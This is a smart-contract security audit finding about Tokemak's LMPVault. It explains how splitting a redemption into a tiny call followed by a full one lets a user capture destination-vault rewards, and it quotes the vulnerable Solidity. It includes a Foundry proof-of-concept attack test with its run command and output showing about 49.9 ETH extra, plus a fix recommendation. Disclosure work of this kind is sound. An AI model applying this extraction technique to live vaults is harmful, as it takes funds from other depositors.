Rural Saffron Dinosaur

medium

# Users can construct redeem operations to extract more value inside LMPVault that have destination vault with rewards
## Summary

Users can construct redeem operation in such a way that can manipulate `idle` balance and extract more value inside LMPVault that have destination vault with rewards.

## Vulnerability Detail

Inside `redeem` function, after check against max redeemable share, it will calculate the `possibleAssets` via `previewRedeem` function : 

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L422-L434

```solidity
    function redeem(
        uint256 shares,
        address receiver,
        address owner
    ) public virtual override nonReentrant noNavDecrease ensureNoNavOps returns (uint256 assets) {
        uint256 maxShares = maxRedeem(owner);
        if (shares > maxShares) {
            revert ERC4626ExceededMaxRedeem(owner, shares, maxShares);
        }
        uint256 possibleAssets = previewRedeem(shares);

        assets = _withdraw(possibleAssets, shares, receiver, owner);
    }
```

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L372-L374

```solidity
    function previewRedeem(uint256 shares) public view virtual override returns (uint256) {
        return _convertToAssets(shares, Math.Rounding.Down);
    }
```

It will convert the shares to asset using `_convertToAssets`, it can be observed that more `totalAssets()` translate to more returned possible assets : 

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L595-L598

```solidity
    function _convertToAssets(uint256 shares, Math.Rounding rounding) internal view virtual returns (uint256 assets) {
        uint256 supply = totalSupply();
        assets = (supply == 0) ? shares : shares.mulDiv(totalAssets(), supply, rounding);
    }
```

Then, it will call `_withdraw` providing `possibleAssets`. If the current idle value is not enough to cover the requested `possibleAssets`, it will try to calculate the required share to burn inside the destination vaults and eventually trigger `destVault.withdrawBaseAsset` providing `sharesToBurn` : 

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L448-L506

```solidity
function _withdraw(
        uint256 assets,
        uint256 shares,
        address receiver,
        address owner
    ) internal virtual returns (uint256) {
        uint256 idle = totalIdle;
        WithdrawInfo memory info = WithdrawInfo({
            currentIdle: idle,
            assetsFromIdle: assets >= idle ? idle : assets,
            totalAssetsToPull: assets - (assets >= idle ? idle : assets),
            totalAssetsPulled: 0,
            idleIncrease: 0,
            debtDecrease: 0
        });

        // If not enough funds in idle, then pull what we need from destinations
        if (info.totalAssetsToPull > 0) {
            uint256 totalVaultShares = totalSupply();

            // Using pre-set withdrawalQueue for withdrawal order to help minimize user gas
            uint256 withdrawalQueueLength = withdrawalQueue.length;
            for (uint256 i = 0; i < withdrawalQueueLength; ++i) {
                IDestinationVault destVault = IDestinationVault(withdrawalQueue[i]);
                (uint256 sharesToBurn, uint256 totalDebtBurn) = _calcUserWithdrawSharesToBurn(
                    destVault,
                    shares,
                    info.totalAssetsToPull - Math.max(info.debtDecrease, info.totalAssetsPulled),
                    totalVaultShares
                );
                if (sharesToBurn == 0) {
                    continue;
                }

                uint256 assetPreBal = _baseAsset.balanceOf(address(this));
                uint256 assetPulled = destVault.withdrawBaseAsset(sharesToBurn, address(this));

                // Destination Vault rewards will be transferred to us as part of burning out shares
                // Back into what that amount is and make sure it gets into idle
                info.idleIncrease += _baseAsset.balanceOf(address(this)) - assetPreBal - assetPulled;
                info.totalAssetsPulled += assetPulled;
                info.debtDecrease += totalDebtBurn;

                // It's possible we'll get back more assets than we anticipate from a swap
                // so if we do, throw it in idle and stop processing. You don't get more than we've calculated
                if (info.totalAssetsPulled > info.totalAssetsToPull) {
                    info.idleIncrease = info.totalAssetsPulled - info.totalAssetsToPull;
                    info.totalAssetsPulled = info.totalAssetsToPull;
                    break;
                }

                // No need to keep going if we have the amount we're looking for
                // Any overage is accounted for above. Anything lower and we need to keep going
                // slither-disable-next-line incorrect-equality
                if (info.totalAssetsPulled == info.totalAssetsToPull) {
                    break;
                }
            }
        }

        // At this point should have all the funds we need sitting in in the vault
        uint256 returnedAssets = info.assetsFromIdle + info.totalAssetsPulled;

        // subtract what's taken out of idle from totalIdle
        // slither-disable-next-line events-maths
        totalIdle = info.currentIdle + info.idleIncrease - info.assetsFromIdle;

        if (info.debtDecrease > totalDebt) {
            totalDebt = 0;
        } else {
            totalDebt -= info.debtDecrease;
        }

        // the rest of operation
       // ....
    }
```

It can be observed that calls to `destVault.withdrawBaseAsset` will burn LMPVault shares and claim all rewards inside the destination vaults and account it to `idle` : 

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/DestinationVault.sol#L335-L343

```solidity
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        if (from == to) {
            return;
        }

        if (from != address(0)) {
            _rewarder.withdraw(from, amount, true);
        }
    }
```

This claimed reward, regardless of the `amount` shares burned, will always return all the accounted rewards : 

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/rewarders/AbstractRewarder.sol#L354-L377

```solidity
    function _getReward(address account) internal {
        Errors.verifyNotZero(account, "account");
        // @audit - will always try to return max possible earned reward
        uint256 reward = earned(account);
        (IGPToke gpToke, address tokeAddress) = (systemRegistry.gpToke(), address(systemRegistry.toke()));

        // slither-disable-next-line incorrect-equality
        if (reward == 0) return;

        rewards[account] = 0;
        emit RewardPaid(account, reward);

        // if NOT toke, or staking is turned off (by duration = 0), just send reward back
        if (rewardToken != tokeAddress || tokeLockDuration == 0) {
            IERC20(rewardToken).safeTransfer(account, reward);
        } else {
            // authorize gpToke to get our reward Toke
            // slither-disable-next-line unused-return
            IERC20(address(tokeAddress)).approve(address(gpToke), reward);

            // stake Toke
            gpToke.stake(reward, tokeLockDuration, account);
        }
    }
```


## Impact

This can be manipulated by attacker to trigger this reward claim to make `idle` value increase by redeem minimal amount of shares, followed up by redeem all the rest of attacker shares. The detailed scenario and potential profit explained in PoC below.

PoC Scenario : 

LMPVault have destination vault that have rewarder (100 eth), and all base asset is provided to this destination vaults, so idle will be 0 and debt will be full into the destination vault.

After some time (blocks), the LMPVault will have earned rewards share inside destination vaults. Alice see this and construct redeem operations, first redeem minimal share to trigger reward claim (will increase `idle`), followed up by redeem the rest of her share. 

foundry test, add this test to `LMPVaultMintingTests` contract and add `import "forge-std/console.sol";` inside `test/vaults/LMPVault-withdraw.t.sol` file.

```solidity
	function test_attack_redeem() public {
		_accessController.grantRole(Roles.SOLVER_ROLE, address(this));
		_accessController.grantRole(Roles.LMP_FEE_SETTER_ROLE, address(this));

		// admin is going to deposit 100 eth asset
		_asset.mint(address(this), 100e18);
		_asset.approve(address(_lmpVault), 100e18);
		_lmpVault.deposit(100e18, address(this));

		// Queue up some Destination Vault rewards
		_accessController.grantRole(Roles.DV_REWARD_MANAGER_ROLE, address(this));
		_accessController.grantRole(Roles.LIQUIDATOR_ROLE, address(this));

		_asset.mint(address(this), 100e18);
		_asset.approve(_destVaultOne.rewarder(), 100e18);
		IMainRewarder(_destVaultOne.rewarder()).queueNewRewards(100e18);

		// alice
		address alice = makeAddr("alice");
		_asset.mint(alice, 100e18);
		vm.startPrank(alice);
		_asset.approve(address(_lmpVault), 100e18);
		_lmpVault.deposit(100e18, alice);
		vm.stopPrank();

		// Deployed all asset to DV1
		_underlyerOne.mint(address(this), 100e18);
		_underlyerOne.approve(address(_lmpVault), 100e18);
		_lmpVault.rebalance(
			address(_destVaultOne),
			address(_underlyerOne), // tokenIn
			100e18,
			address(0), // destinationOut, none when sending out baseAsset
			address(_asset), // baseAsset, tokenOut
			200e18
		);

		// Roll the block so that the rewards we queued earlier will become available
		vm.roll(block.number + 10_000);

		// assertEq(_lmpVault.totalIdle(), 800);
		console.log("total idle before redeem");
		console.log(_lmpVault.totalIdle());
		console.log("total debt before redeem");
		console.log(_lmpVault.totalDebt());
		console.log("balance of alice before redeem");
		console.log(_asset.balanceOf(alice));
		console.log("share of alice before redeem");
		console.log(_lmpVault.balanceOf(alice));
		// alice construct his redeem abuse
		vm.startPrank(alice);
		// withdraw minimal amount just to trigger claim reward to increase total idle
		uint256 assets1 = _lmpVault.redeem(1000, alice, alice);
		console.log("total idle after 1st redeem");
		console.log(_lmpVault.totalIdle());
		console.log("total debt after 1st redeem");
		console.log(_lmpVault.totalDebt());
		// after that, claim all her share to get maximal possible value after idle value increased
		uint256 assets2 = _lmpVault.redeem(_lmpVault.balanceOf(alice), alice, alice);
		vm.stopPrank();

		console.log("total idle after redeem");
		console.log(_lmpVault.totalIdle());
		console.log("total debt after redeem");
		console.log(_lmpVault.totalDebt());
		console.log("balance of alice after redeem");
		console.log(_asset.balanceOf(alice));
		console.log("share of alice after redeem");
		console.log(_lmpVault.balanceOf(alice));
		
	}
```

Run the test : 

```shell
forge test --match-contract LMPVaultMintingTests --match-test test_attack_redeem -vvv
```

Test output : 

```diff
Logs:
  .....

  balance of alice after redeem
  149999999999999999749
  share of alice after redeem
  0
```

Lets compare with the result if alice directly redeem all his shares (just delete the first redeem operation inside the test) : 

```diff
Logs:
....

  balance of alice after redeem
  100000000000000000000
  share of alice after redeem
  0
```

In this particular scenario, the difference between this two redeem method is **49.9 ETH**. This can be interpreted to two things : 

1. The two times redeem method actually get the reward that alice deserved, but this mean normal users that not aware of this (only redeem all shares in one call) will lose his rewards.
2. The two times redeem method is malicious and extract value more than it should be.

regardless of interpretation, redeem operation, one time or split it into multiple call, if in total result in same shares should not differ in such significant asset value.

## Code Snippet

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L448-L506


## Tool used

Manual Review

## Recommendation

Assume that it actually reward that user deserved, add this new `idle` increase to the withdrawn asset proportional to the burned shares of users. If this is not intended, better restrict claim destination vaults rewards to separate admin function.
